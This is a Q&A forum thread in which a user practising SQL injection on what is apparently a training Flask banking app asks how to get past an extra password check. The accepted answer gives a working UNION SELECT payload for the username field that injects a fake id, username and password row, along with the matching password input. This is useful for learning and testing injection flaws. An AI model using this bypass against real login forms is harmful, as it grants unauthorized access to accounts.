0

I'm having some fun with SQL injection attacks, and I'm currently attempting to bypass a login using SQLi.

I think I've figured out the SQL query just fine, however this module also implemented an extra password check, to verify that the password input matches the query.

The webpage is served using Python and FLASK

query = "SELECT * FROM users WHERE username='admin' UNION SELECT null, password, null FROM users where username='admin' -- AND password='[User Input]some_password'"
result = db.execute(query).fetchallI()

# Then checks if the password input is equal to query output
row = result[0]
if row["password"] == password: # Problematic password check
  try:
    session["user_id"] = int(row["id"])
    session["username"] = row["username"]
    return redirect(url_for("bank.index"))

I'll probably be able to figure out the rest of the SQLi if I'm able to bypass the password check.

Any ideas?

  • What's stopping you from using a static value as password? You supply both row["password"] and password, so what is the problem? – MechMK1 May 28 at 8:17
  • Haven't done a lot of this before, so I got quite hung up on that I needed to somehow get the password or do some Python magic. I was indeed able to supply my own password for this. – Christian S May 28 at 8:57
2

If you are able to inject username I believe you will inject into SELECT * FROM users WHERE username='admin' that username part so we only need to return a password which we write to password input.

The payload for the username input:

nobodyhavethisusername' UNION
    SELECT 1 as id, 'myuser' as username, 'mypassword' as password -- 

And the payload for the password input:

mypassword

What did we do?

  • With nobodyhavethisusername we make sure this query will not return based on left of the union select.
  • Union select can only return 3 columns (I guess) and app uses id, username, password columns so we returned this columns with UNION SELECT.
  • We have a comment out at the end (--) without it SQL query will raise exception. Notice there is a space after the two dashes. MySQL has a "safety" feature built-in that treats the comment as a minus if there is no space afterwards.

The query then becomes like this:

SELECT * FROM users
WHERE username='nobodyhavethisusername'
    UNION SELECT 1 as id, 'myuser' as username, 'mypassword' as password -- 
  • This worked perfectly. I definitely got hung up on the thought that I somehow needed to do some black magic to pass the password check. Didn't think about the fact that we are indeed able to provide our own password in this regard. Excellent explanation as well! – Christian S May 28 at 8:55
  • Thanks @MechMK1, this format is really better than mine :-) – alnbhclyn May 28 at 9:06
  • You welcome @ChristianS :-) – alnbhclyn May 28 at 9:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.